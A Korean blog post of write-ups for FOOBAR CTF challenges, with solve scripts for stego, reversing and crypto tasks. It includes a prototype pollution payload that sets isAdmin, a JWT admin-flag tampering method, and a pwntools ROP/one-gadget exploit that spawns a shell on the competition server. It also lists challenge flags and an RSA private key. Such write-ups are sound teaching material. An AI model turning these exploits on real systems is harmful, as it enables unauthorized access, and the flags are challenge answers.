Tjdmin1

[FOOBAR CTF] Write-ups 본문

CTF Write-Ups

[FOOBAR CTF] Write-ups

Tjdmin1 2025. 3. 23. 17:41

4th

Sanity Check

FLAG : GLUG{We!coMe_TO_FooBarCTF}

 

General

CryptoMix Madness

제공 파일 : hint.txt

The expected output format is:

Base64 encoding

MD5 hash

SHA-256 hash

ROT13 cipher

Hexadecimal representation

FLAG : GLUG{Crypto_Transformation_Master}

 

Lost Transmission

제공 파일

final_challenge.mp3
0.00MB

 

binwalk로 돌려본 결과

bzip2 압축파일

확장자를 bz2로 변경 후 압축 풀기 ( 여러개의 압축 파일들이 안에 들어있는데 계속 풀다보면 flag.txt가 나옴 )

Mac은 한번에 압축을 풀어줬습니다.

 

FLAG : GLUG{UnZ1pp1nG_N1ghtmar3}

 

Silent Whispers

제공 파일

hearme.jpg
0.15MB

 

steghide로 분석한 결과 .wav 파일이 있었습니다.

.wav 파일을 Audacity 프로그램에 넣어 스팩트로그램을 보게 되면 아래와 같은 글이 나오게 됩니다.

 

이 문자는 Base64로 인코딩된 값으로 R0xVR3tBQHVkIW9fM25jUnlwdF85eDcjfQ==값을 디코딩해보면 FLAG는 아래와 같습니다.

( 읽기 힘들어서 디코딩 값과 인코딩을 해보면서 맞췄다는... )

 

FLAG : GLUG{A@ud!o_3ncRypt_9x7#}

Web

Silent Override

username과 password를 입력하면 JWT token을 제공합니다.

여기서 admin을 true로 바꾼 token을 서버에 요청을 날리게 되면 문제가 풀립니다.

 

Get Admin Data 버튼과 아래 Admin Response는 주석으로 숨겨져 있었습니다.

FLAG : GLUG{JWT_Manipulation_Success}

 

Navigate

Server Source Code

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <script src='https://api.mapbox.com/mapbox-gl-js/v1.12.0/mapbox-gl.js'></script>
    <link href='https://api.mapbox.com/mapbox-gl-js/v1.12.0/mapbox-gl.css' rel='stylesheet' />
    <script
        src="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-directions/v4.1.0/mapbox-gl-directions.js"></script>
    <script
        src="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-geocoder/v4.7.2/mapbox-gl-geocoder.min.js"></script>
    <link rel="stylesheet"
        href="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-geocoder/v4.7.2/mapbox-gl-geocoder.css"
        type="text/css">
    <link rel="stylesheet"
        href="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-directions/v4.1.0/mapbox-gl-directions.css"
        type="text/css" />
    <title>Find My Location</title>
    <style>
        body {
            margin: 0;
        }

        #geocoder-container>div {
            min-width: 50%;
            margin-left: 25%;
        }

        #map {
            height: 100vh;
            width: 100vw;
        }

        .marker {
            background-image: url('https://docs.mapbox.com/help/demos/custom-markers-gl-js/mapbox-icon.png');
            background-size: cover;
            width: 50px;
            height: 50px;
            border-radius: 50%;
            cursor: pointer;
        }

        .mapboxgl-popup {
            max-width: 200px;
        }

        .mapboxgl-popup-content {
            text-align: center;
            font-family: 'Open Sans', sans-serif;
        }

        .search {
            position: absolute;
            top: 10px;
            left: 10px;
        }

        /* .mapboxgl-ctrl-geocoder--input {
            padding-left: 35px !important;
            width: 350px !important;
            margin-right: 30px !important;
        } */

        .searchBtn {
            position: absolute;
            top: 10px;
            right: 0px;
            padding: 11.2px 8px;
            z-index: 9999;
            background-color: white;
            outline: none;
            border: 1px solid black;
            cursor: pointer;
        }
        .form{
            position: absolute;
            top: 10px;
            left: 10px;
        }
        .form input{
            z-index: 9999;
            padding: 2px 10px;
            background-color: white;
            margin-top: 10px;
            outline: none;
            border: none;
            width: 350px;
        }
    </style>
</head>

<body>
    <div id='map'></div>
    <div class="form">
        <input type="text" class="mapboxgl-ctrl-geocoder--input">
        <button class="searchBtn" type="button">Search</button>
    </div>

    <script src="main.js" defer></script>

    <script defer>
        const btn = document.querySelector('button')


        btn.addEventListener('click', async (e) => {
            e.preventDefault()
            const data = document.querySelector('.mapboxgl-ctrl-geocoder--input').value
            const list = await fetch(https://api.mapbox.com/geocoding/v5/mapbox.places/${data}.json?access_token=pk.eyJ1IjoiYWVsZWN0cm9uIiwiYSI6ImNrenFrMnB6MjU4aHozMG8xd2NyOW1wMXIifQ.pxgiSakfpfYjvjLXlFyFvA)
            const lists = await list.json()
            
            const res = await fetch("/", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                credentials: "include",
                body: JSON.stringify({
                    auth: { name: "user", password: "pwd" },
                    location: { name: data }
                })
            })
            const result = await res.json()
            sessionStorage.setItem('history', JSON.stringify(result))

            test(lists)

        })
    </script>
</body>

</html>

mapboxgl.accessToken =
    "pk.eyJ1IjoiYWVsZWN0cm9uIiwiYSI6ImNrenFrMnB6MjU4aHozMG8xd2NyOW1wMXIifQ.pxgiSakfpfYjvjLXlFyFvA"

navigator.geolocation.getCurrentPosition(successLocation, errorLocation, {
    enableHighAccuracy: true
})

function successLocation(position) {
    setupMap([position.coords.longitude, position.coords.latitude])
}

function errorLocation() {
    setupMap([-2.24, 53.48])
}

let lists;
function test(list) {
    lists(list)
}

function setupMap(center) {
    const map = new mapboxgl.Map({
        container: "map",
        style: "mapbox://styles/mapbox/streets-v11",
        center: center,
        zoom: 4
    })


    lists = (data) => {
        console.log(data, "line 76")

        const geojson = {
            'type': 'FeatureCollection',
            'features': [
                {
                    'type': 'Feature',
                    'geometry': {
                        'type': 'Point',
                        'coordinates': [data.features[0].center[0],data.features[0].center[1]]
                    },
                    'properties': {
                        'title': 'User',
                        'description': ${data.features[0].place_name}
                    }
                }
            ]
        };


        // add markers to map
        for (const feature of geojson.features) {
            // create a HTML element for each feature
            const el = document.createElement('div');
            el.className = 'marker';

            // make a marker for each feature and add it to the map
            new mapboxgl.Marker(el)
                .setLngLat(feature.geometry.coordinates)
                .setPopup(
                    new mapboxgl.Popup({ offset: 25 }) // add popups
                        .setHTML(
                            <h3>${feature.properties.title}</h3><p>${feature.properties.description}</p>
                        )
                )
                .addTo(map);
        }
    }




    // let geojson;
    async function showPosition(position) {



        const res = await fetch(https://api.mapbox.com/geocoding/v5/mapbox.places/${position.coords.longitude},${position.coords.latitude}.json?access_token=pk.eyJ1IjoiYWVsZWN0cm9uIiwiYSI6ImNrenFrMnB6MjU4aHozMG8xd2NyOW1wMXIifQ.pxgiSakfpfYjvjLXlFyFvA)
        const result = await res.json()
        console.log(result.features[2].place_name)

        const geojson = {
            'type': 'FeatureCollection',
            'features': [
                {
                    'type': 'Feature',
                    'geometry': {
                        'type': 'Point',
                        'coordinates': [position.coords.longitude, position.coords.latitude]
                    },
                    'properties': {
                        'title': 'User',
                        'description': ${result.features[2].place_name}
                    }
                }
            ]
        };


        // add markers to map
        for (const feature of geojson.features) {
            // create a HTML element for each feature
            const el = document.createElement('div');
            el.className = 'marker';

            // make a marker for each feature and add it to the map
            new mapboxgl.Marker(el)
                .setLngLat(feature.geometry.coordinates)
                .setPopup(
                    new mapboxgl.Popup({ offset: 25 }) // add popups
                        .setHTML(
                            <h3>${feature.properties.title}</h3><p>${feature.properties.description}</p>
                        )
                )
                .addTo(map);
        }

    }



    // for own loaction
    function getLocation() {
        if (navigator.geolocation) {
            navigator.geolocation.getCurrentPosition(showPosition);
        } else {
            console.log("Geolocation is not supported by this browser.")
        }
    }

    getLocation()



    const nav = new mapboxgl.NavigationControl()
    map.addControl(nav)

    // var directions = new MapboxDirections({
    //   accessToken: mapboxgl.accessToken
    // })

    //   map.addControl(directions, "top-left")
}

 

Prototype Pollution 취약점 문제입니다.

import requests

url = "http://chall.foobarctf.nitdgplug.org:31300"

payload = {
    "auth": { "name": "user", "password": "pwd" },
    "location": {
        "name": "anything",
        "__proto__": { "isAdmin": True }
    }
}

response = requests.post(url, json=payload)

print("Status Code:", response.status_code)
print("Response Body:", response.text)

 

FLAG : GLUG{y0u_f0und_the_cOrrEct_L0c@ti0n}

 

Reverse Engineering

Cipher Maze

main 함수

 

XOR 함수

 

간단한 리버싱 XOR 문제입니다.

 

solve.py

def decrypt():
    # key는 ( 'G' + 'L' + 'U' + 'G' ) << 8 = 77568 = 0x12F00
    key = 0x12F00
    
    # .rodata에 저장된 34개의 QWORD 값 (little-endian으로 해석된 정수)
    secret = [
        0x012F78, 0x012F30, 0x012F72, 0x012F5F,
        0x012F61, 0x012F6E, 0x012F64, 0x012F5F,
        0x012F6C, 0x012F30, 0x012F67, 0x012F31,
        0x012F63, 0x012F40, 0x012F6C, 0x012F5F,
        0x012F73, 0x012F68, 0x012F31, 0x012F66,
        0x012F74, 0x012F5F, 0x012F65, 0x012F40,
        0x012F73, 0x012F79, 0x012F5F, 0x012F72,
        0x012F31, 0x012F67, 0x012F68, 0x012F38,
        0x012F3F, 0x012F3F
    ]
    
    flag_chars = []
    for value in secret:
        flag_chars.append(chr(key ^ value))
        
    flag = "".join(flag_chars)
    print("GLUG{" + flag + "}")
    
if __name__ == "__main__":
    decrypt()

 

FLAG : GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}

 

Bitmap Mystery

compressed.py

import struct

def compress_bmp(input_file, output_file):
    with open(input_file, "rb") as f:
        header = f.read(54)  # BMP header (first 54 bytes)
        pixel_data = f.read()

    compressed_data = bytearray()
    prev_byte = None
    count = 0

    for byte in pixel_data:
        transformed_byte = byte ^ 0xAA  # XOR with 0xAA for obfuscation
        
        if transformed_byte == prev_byte and count < 255:
            count += 1
        else:
            if prev_byte is not None:
                compressed_data.append(prev_byte)
                compressed_data.append(count)
            prev_byte = transformed_byte
            count = 1

    # Append the last byte
    if prev_byte is not None:
        compressed_data.append(prev_byte)
        compressed_data.append(count)

    with open(output_file, "wb") as f:
        f.write(header)  # Write BMP header
        f.write(compressed_data)  # Write compressed pixel data

    print(f"Compression complete. Original size: {len(pixel_data)} bytes, Compressed size: {len(compressed_data)} bytes")

if __name__ == "__main__":
    compress_bmp("flag.bmp", "compressed_data")

 

compressed_data

compressed_data
0.08MB

 

 

bmp 파일을 XOR 연산으로 암호화 해놨습니다.

 

solve.py

import struct

def decompress_bmp(input_file, output_file):
    with open(input_file, "rb") as f:
        header = f.read(54)
        compressed_data = f.read()

    decompressed = bytearray()

    i = 0
    while i < len(compressed_data):
        value = compressed_data[i]
        count = compressed_data[i+1]
        decompressed.extend([value] * count)
        i += 2

    original_pixels = bytearray(b ^ 0xAA for b in decompressed)

    with open(output_file, "wb") as f:
        f.write(header)
        f.write(original_pixels)

    print(f"Decompression complete. Output file: {output_file}")

if __name__ == "__main__":
    decompress_bmp("compressed_data", "flag.bmp")

FLAG : GLUG{Bm9_R8VreVers3}

 

Crypto

Crypt0n1um Vault

challenge.txt

-----BEGIN RSA PRIVATE KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAu9OejDKf6ybyU1UC1AX3jiaDM7XdGNOPJjpWbO4/N8YaXihf
C4mcgdN+1jg2Iq7c5/UI+GsBjeSnkp8Nas/TtivCrmHM0d/VmCfRrFbx9Xx43elp
I5DC4Z5Riy2DGMYCWNywaM9Ej65C41kwQhI0bwG7d5syazLIXhw2n5hW8dand4tY
+euUvpHiagUViXAB5tFGYw7PIGTvQ9M2sqQFtWWLJAXh5tdDlHvNDzQyHrzAmZsK
3DThSauGWkP+634E91W6hr+xcK9yV8/kFInA9ZnH2gbd6ohKZZseg9HHdraYKYnD
H2wuytlrAyFL4DDPnBQjP4w+mC3zq15N2gbGGQIDAQABAoIBAAUXo4n332e/5RGx
ptjPwUVMhwHHvFMC0rPodf+7D+INEBmdwkHs/QjKDqYeh7KLXM2PJ6tF324U6nQq
YByVaOSHWDO5JBVL78hnH/iqXMyuj2pY0d3B0X7OIjYsnuF05jW5j1uFbxLu2Ge9
5cs3dM4jqmJU8K+BBMyvECNl58mOX9mDAvCwcOmraF+pBuR7VXb5It6kYEch6TKk
wV5JWmEu4BukuimOJjHPkcWIDSamL0RIfZ8mk78UGHlOt1kJq/26laBMrs2Z8bNm
a36D3G/iPk9XRa5DJvZcj3usrDLObSvqsdPTDAujol229O5JE9IcwpUk55TEsZGM
DqISJd8CgYEAxWIOfkcIqp7RsdAfFl1Oews+lpvc2fUbcCbydHxIaxgMqe/o0ZRK
XERwZUqTew+R41hXnn2Ibx1OwdkEckAM/svunHHuEXT2F+lWdJNQXbP/sWlLKI3N
FyebBug9CCznm8Mddsjc+vjbFIYgGCU0tTxO7b8GC+TL24ng7ABlblsCgYEA85sK
67HlG+kZfLATluI8MEumZlS9K9ImB7apk1t/aDTnKU+n6NQspgD03pe5tcgdBWKI
L4BJbqUfDBnSacQ+bNB6x+RpooklxnzEwTrEgCHhCp0rRMLt+pHyF1Vw/IxCAp4z
L0eqYS10ysF9l1k0IizHlQnhB6Uaoby890+i75sCgYEAgsS7K2guUrPT44UqA2wf
4Z8KgUeT4wbjfcMf4JKye9k8Ep4yVh9zwHtLJ6Bn4yDmm4Nc0VEDwfHdysnXi0Xq
FijP1fAZNJGTtTXPJH6wwNPO9B/5Pk3r8Yo4yDO2s6Lkcyqqa5cZ6GBU7N0LiFOl
/uiMtjBXdivH75QCYvjEOn8CgYEA7AbKm/bu7w34vdC0CjsE6h5CCWANMcoZQtv+
jWHXnhWz61jcbUA2Slke6BTFwJU1WSRQowV/II8n98eFESks+q08aTSsDOkpCpmU
4UuZXDR3IJuLcsITZfXGRElqgac7xeGV4jdjo2gxgsnab6vkUUBl18eMmqWjmhWO
WWh1jAUCgYEAt6Gdav0zwCdVVMtuO8pwA2/SFHJ92bxFvc8PS391ac0nYAH6tClN
np+kvmXuKfk8/ZQJxweX1jauHv//HrTk+c9FNUht/KV9x8JrsTHvNOap0RuFLDTT
UuSit7ofCt98yZCJ6BIZIcqu3PK+sEGFASmGoN4ZgfnGwXH9y6KXBW0=
-----END RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

AES IV
D7ozFsFir2LxtiGD0ydGUw==

Encrypted AES Key
Dcgg6in3W4Yg4PYuLgWINrXJvGF0gEBvvHi2g/a0RxoSRavtbIiGUOYdXMv3tT/xqlE7NNwFIDz0WXNpj7LEeXwuIEMtqanzthem5jFB1swlpzCElFe4c390x9Zxa/Wq+Va39jf18oPFIGZFeLQm9cwuxakXpdvvK9lScjH9Vikdyo3jXDOPVoCaGn/YKeSgyAQ0kMp8axuPXCa7D+blefk7BHT3D6NSA7wbD6Q0kmL5+iwwZ//UEw5FpCV1RTXwnf+l3QMSc8gHAE01+YbFEGDMm/9yDgLLSw62UGTLufBFjbgj7Ss2V/L5zzuXEwvmoF66bochyTCdSf/+Kg8WEQ==

XOR Key
a3 09 28 65 4a cf 31 90 df 33 8d 44 51 d8 89 13 66 55 49 1d f7 ea fb 82

Ciphertext
G6G8GAYMBbIhuX0INzA/iUOyrjCKIjxKGXM8jdY8G5A=

 

Base64 decode -> XOR decrypt -> RSA decrypt -> AES decrypt 순으로 풀면 FLAG가 나오게 됩니다.

 

import base64
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import unpad

xor_key_hex = "a3 09 28 65 4a cf 31 90 df 33 8d 44 51 d8 89 13 66 55 49 1d f7 ea fb 82"
cipher_b64 = "G6G8GAYMBbIhuX0INzA/iUOyrjCKIjxKGXM8jdY8G5A="
iv_b64 = "D7ozFsFir2LxtiGD0ydGUw=="
encrypted_aes_key_b64 = """Dcgg6in3W4Yg4PYuLgWINrXJvGF0gEBvvHi2g/a0RxoSRavtbIiGUOYdXMv3tT/xqlE7NNwFIDz0WXNpj7LEeXwuIEMtqanzthem5jFB1swlpzCElFe4c390x9Zxa/Wq+Va39jf18oPFIGZFeLQm9cwuxakXpdvvK9lScjH9Vikdyo3jXDOPVoCaGn/YKeSgyAQ0kMp8axuPXCa7D+blefk7BHT3D6NSA7wbD6Q0kmL5+iwwZ//UEw5FpCV1RTXwnf+l3QMSc8gHAE01+YbFEGDMm/9yDgLLSw62UGTLufBFjbgj7Ss2V/L5zzuXEwvmoF66bochyTCdSf/+Kg8WEQ=="""
rsa_priv_key_pem = """-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAu9OejDKf6ybyU1UC1AX3jiaDM7XdGNOPJjpWbO4/N8YaXihf
C4mcgdN+1jg2Iq7c5/UI+GsBjeSnkp8Nas/TtivCrmHM0d/VmCfRrFbx9Xx43elp
I5DC4Z5Riy2DGMYCWNywaM9Ej65C41kwQhI0bwG7d5syazLIXhw2n5hW8dand4tY
+euUvpHiagUViXAB5tFGYw7PIGTvQ9M2sqQFtWWLJAXh5tdDlHvNDzQyHrzAmZsK
3DThSauGWkP+634E91W6hr+xcK9yV8/kFInA9ZnH2gbd6ohKZZseg9HHdraYKYnD
H2wuytlrAyFL4DDPnBQjP4w+mC3zq15N2gbGGQIDAQABAoIBAAUXo4n332e/5RGx
ptjPwUVMhwHHvFMC0rPodf+7D+INEBmdwkHs/QjKDqYeh7KLXM2PJ6tF324U6nQq
YByVaOSHWDO5JBVL78hnH/iqXMyuj2pY0d3B0X7OIjYsnuF05jW5j1uFbxLu2Ge9
5cs3dM4jqmJU8K+BBMyvECNl58mOX9mDAvCwcOmraF+pBuR7VXb5It6kYEch6TKk
wV5JWmEu4BukuimOJjHPkcWIDSamL0RIfZ8mk78UGHlOt1kJq/26laBMrs2Z8bNm
a36D3G/iPk9XRa5DJvZcj3usrDLObSvqsdPTDAujol229O5JE9IcwpUk55TEsZGM
DqISJd8CgYEAxWIOfkcIqp7RsdAfFl1Oews+lpvc2fUbcCbydHxIaxgMqe/o0ZRK
XERwZUqTew+R41hXnn2Ibx1OwdkEckAM/svunHHuEXT2F+lWdJNQXbP/sWlLKI3N
FyebBug9CCznm8Mddsjc+vjbFIYgGCU0tTxO7b8GC+TL24ng7ABlblsCgYEA85sK
67HlG+kZfLATluI8MEumZlS9K9ImB7apk1t/aDTnKU+n6NQspgD03pe5tcgdBWKI
L4BJbqUfDBnSacQ+bNB6x+RpooklxnzEwTrEgCHhCp0rRMLt+pHyF1Vw/IxCAp4z
L0eqYS10ysF9l1k0IizHlQnhB6Uaoby890+i75sCgYEAgsS7K2guUrPT44UqA2wf
4Z8KgUeT4wbjfcMf4JKye9k8Ep4yVh9zwHtLJ6Bn4yDmm4Nc0VEDwfHdysnXi0Xq
FijP1fAZNJGTtTXPJH6wwNPO9B/5Pk3r8Yo4yDO2s6Lkcyqqa5cZ6GBU7N0LiFOl
/uiMtjBXdivH75QCYvjEOn8CgYEA7AbKm/bu7w34vdC0CjsE6h5CCWANMcoZQtv+
jWHXnhWz61jcbUA2Slke6BTFwJU1WSRQowV/II8n98eFESks+q08aTSsDOkpCpmU
4UuZXDR3IJuLcsITZfXGRElqgac7xeGV4jdjo2gxgsnab6vkUUBl18eMmqWjmhWO
WWh1jAUCgYEAt6Gdav0zwCdVVMtuO8pwA2/SFHJ92bxFvc8PS391ac0nYAH6tClN
np+kvmXuKfk8/ZQJxweX1jauHv//HrTk+c9FNUht/KV9x8JrsTHvNOap0RuFLDTT
UuSit7ofCt98yZCJ6BIZIcqu3PK+sEGFASmGoN4ZgfnGwXH9y6KXBW0=
-----END RSA PRIVATE KEY-----
"""

cipher_bytes = base64.b64decode(cipher_b64)

xor_key = bytes.fromhex(xor_key_hex)
plaintext_after_xor = bytes([b ^ xor_key[i % len(xor_key)] for i, b in enumerate(cipher_bytes)])

rsa_key = RSA.import_key(rsa_priv_key_pem)
cipher_rsa = PKCS1_OAEP.new(rsa_key)
encrypted_aes_key = base64.b64decode(encrypted_aes_key_b64)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)

iv = base64.b64decode(iv_b64)
cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
plaintext_padded = cipher_aes.decrypt(plaintext_after_xor)
plaintext = unpad(plaintext_padded, AES.block_size)

print("Flag : ", plaintext.decode())

 

FLAG : GLUG{CrYpT0_M@st3r_#2025!}

 

Operation Matrix Guardian

challenge.txt

Basis (Matrix B):
1024 -173 631 -428 502 -811 -47 892 -612 -408 -231 -138 349 -793 -313 -317 268 573 -734 -176 582 -973 -527 -281 -202 -863 -279
-173 1024 -527 -793 -47 -408 502 -231 -428 892 -811 -313 -138 349 631 -734 -317 -176 268 582 573 -279 -973 -863 -527 -202 -281
631 -527 1024 -313 -811 892 -408 -428 -793 -47 502 631 -734 -138 349 -231 -317 -281 -863 -973 -176 268 582 573 -527 -202 -279
-428 -793 -313 1024 -231 -428 892 -811 -47 502 -173 -138 268 631 -734 349 573 -527 -281 -202 -863 -973 -279 -176 582 -527 -317
502 -47 -811 -231 1024 -173 -428 502 892 -811 -428 -734 -317 -231 573 -138 349 -202 -527 -279 -281 -176 -863 268 -973 582 631
-811 -408 892 -428 -173 1024 -793 631 -313 -527 -47 -317 -734 268 -176 631 -138 -863 -202 -527 -281 573 -973 582 -279 349 -231
-47 502 -408 892 -428 -793 1024 -173 631 -313 -527 573 -317 -734 -863 268 -138 -973 -279 -176 -202 349 -281 631 -527 -231 582
892 -231 -428 -811 502 631 -173 1024 -47 -313 -793 268 -863 -317 -527 -176 -734 -281 -973 582 349 -138 -202 -231 631 573 -279
-612 -428 -793 -47 892 -313 631 -47 1024 -173 -408 -279 -281 -202 -527 -863 -176 582 573 -973 -734 631 268 349 -138 -231 -317
-408 892 -47 502 -811 -527 -313 -313 -173 1024 -793 -527 -863 -279 -281 -202 -973 -138 349 631 -231 -734 -176 -317 573 268 582
-231 -811 502 -173 -428 -47 -527 -793 -408 -793 1024 631 573 -734 349 -317 268 -231 -138 -176 -863 -281 -973 -202 -527 582 -279
-138 -313 631 -138 -734 -317 573 268 -279 -527 631 1024 -231 -734 -317 268 631 -138 -863 -279 -202 -527 -281 573 -973 349 582
349 -138 -734 268 -317 -734 -317 -863 -281 -863 573 -231 1024 -138 631 573 -734 -527 -202 -281 -973 -863 349 -138 268 631 -176
-793 349 -138 631 -231 268 -734 -317 -202 -279 -734 -734 -138 1024 268 631 -734 -279 -281 -527 -202 -176 582 631 349 -863 -973
-313 631 349 -734 573 -176 -863 -527 -527 -281 349 -317 631 268 1024 -138 -734 -176 -863 349 -279 -281 -973 -202 -527 582 631
-317 -734 -231 349 -138 631 268 -176 -863 -202 -317 268 573 631 -138 1024 -734 -973 582 -279 -281 -527 -176 631 349 -863 -202
268 -317 -317 573 349 -138 -138 -734 -176 -973 268 631 -734 -734 -734 -734 1024 349 631 -863 582 -279 -281 -202 -176 -527 -973
573 -176 -281 -527 -202 -863 -973 -281 582 -138 -231 -138 -527 -279 -176 -973 349 1024 631 268 631 -734 -863 349 -317 -138 573
-734 268 -863 -281 -527 -202 -279 -973 573 349 -138 -863 -202 -281 -863 582 631 631 1024 -734 -734 268 349 -138 -973 -317 -176
-176 582 -973 -202 -279 -527 -176 582 -973 631 -176 -279 -281 -527 349 -279 -863 268 -734 1024 -138 631 -317 573 268 -863 -202
582 573 -176 -863 -281 -281 -202 349 -734 -231 -863 -202 -973 -202 -279 -281 582 631 -734 -138 1024 268 631 -317 -176 573 349
-973 -279 268 -973 -176 573 349 -138 631 -734 -281 -527 -863 -176 -281 -527 -279 -734 268 631 268 1024 -138 631 -317 -176 582
-527 -973 582 -279 -863 -973 -281 -202 268 -176 -973 -281 -863 582 -973 -176 -281 -863 349 -317 631 -138 1024 268 631 -734 -138
-281 -863 573 -176 268 582 631 -231 349 -317 -202 573 -138 631 -202 631 -202 349 -138 573 -317 631 268 1024 -734 -138 -863
-202 -527 -527 582 -973 -279 -527 631 -138 573 -527 -973 268 349 -527 349 -176 -317 -973 268 -176 -317 631 -734 1024 631 268
-863 -202 -202 -527 582 349 -231 573 -231 268 582 349 631 -863 582 -863 -527 -138 -317 -863 573 -176 -734 -138 631 1024 268
-279 -281 -279 -317 631 -231 582 -279 -317 582 -279 582 -176 -973 631 -202 -973 573 -176 -202 349 582 -138 -863 268 268 1024
Ciphertext Vector:
71 104 148 113 146 116 35 65 97 59 165 114 111 105 155 117 69 121 47 60 121 129 0 0 0 0 0

 

XOR_key.txt

71 76 85 71 123 76 97 55 33 55 64 105 67 101 95 82 51 76 35 48 107 125 0 0 0 0 0

 

XOR_key.txt가 Ascii 같아서 복호화 해서 FLAG를 입력했는데 맞았습니다.

오류인건지 출제 의도인건지 모르겠네요.

 

FLAG : GLUG{La7!7@iCe_R3L#0k}

 

Pwnable

Madate Vanter

Madate_Vanter
0.02MB

 

main

start_challenge

secret_function

 

전형적인 ROP 문제입니다.

secret_function에서 printf의 실제 주소를 줘서 libc leak을 할 필요가 없습니다.

 

libc database에서 libc 주소를 알아 낸 뒤 one gadget으로 ROP를 해주게 되면 Shell이 따집니다.

from pwn import *

context.arch = 'amd64'

#p = process('./Madate_Vanter')
p = remote('chall.foobarctf.nitdgplug.org', 31347)
libc = ELF('./libc.so.6')

ret_gadget = 0x000000000040101a

p.recvuntil(b"There is one function that exists but isn't available yet: ")
secret_function_addr = int(p.recvuntil(b'\n').strip().decode(), 16)
success(f'secret function address : {hex(secret_function_addr)}')

payload = b'a' * 64 # dummy data
payload += p64(0x404100)
payload += p64(ret_gadget) # stack align
payload += p64(secret_function_addr)
p.sendlineafter(b"In the meantime, we'd love your feedback: ", payload)

p.recvuntil(b'The location of printf in memory:')
printf_addr = int(p.recvuntil(b'\n').strip().decode(),16)
success(f'printf address : {hex(printf_addr)}')

libc_base = printf_addr - libc.symbols['printf']
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one_gadget[1] + libc_base

payload = b'a' * 64 # dummy data
payload += p64(0x404100)
payload += p64(ret_gadget) # stack align
payload += p64(one_gadget)
p.sendlineafter(b'What will you do with this information?', payload)

p.interactive()

 

 

FLAG : GLUG{R3vToL1bC_FBCtf1sf7ls25}

'CTF Write-Ups' 카테고리의 다른 글

[Dreamhack] addition-quiz  (0) 2025.03.30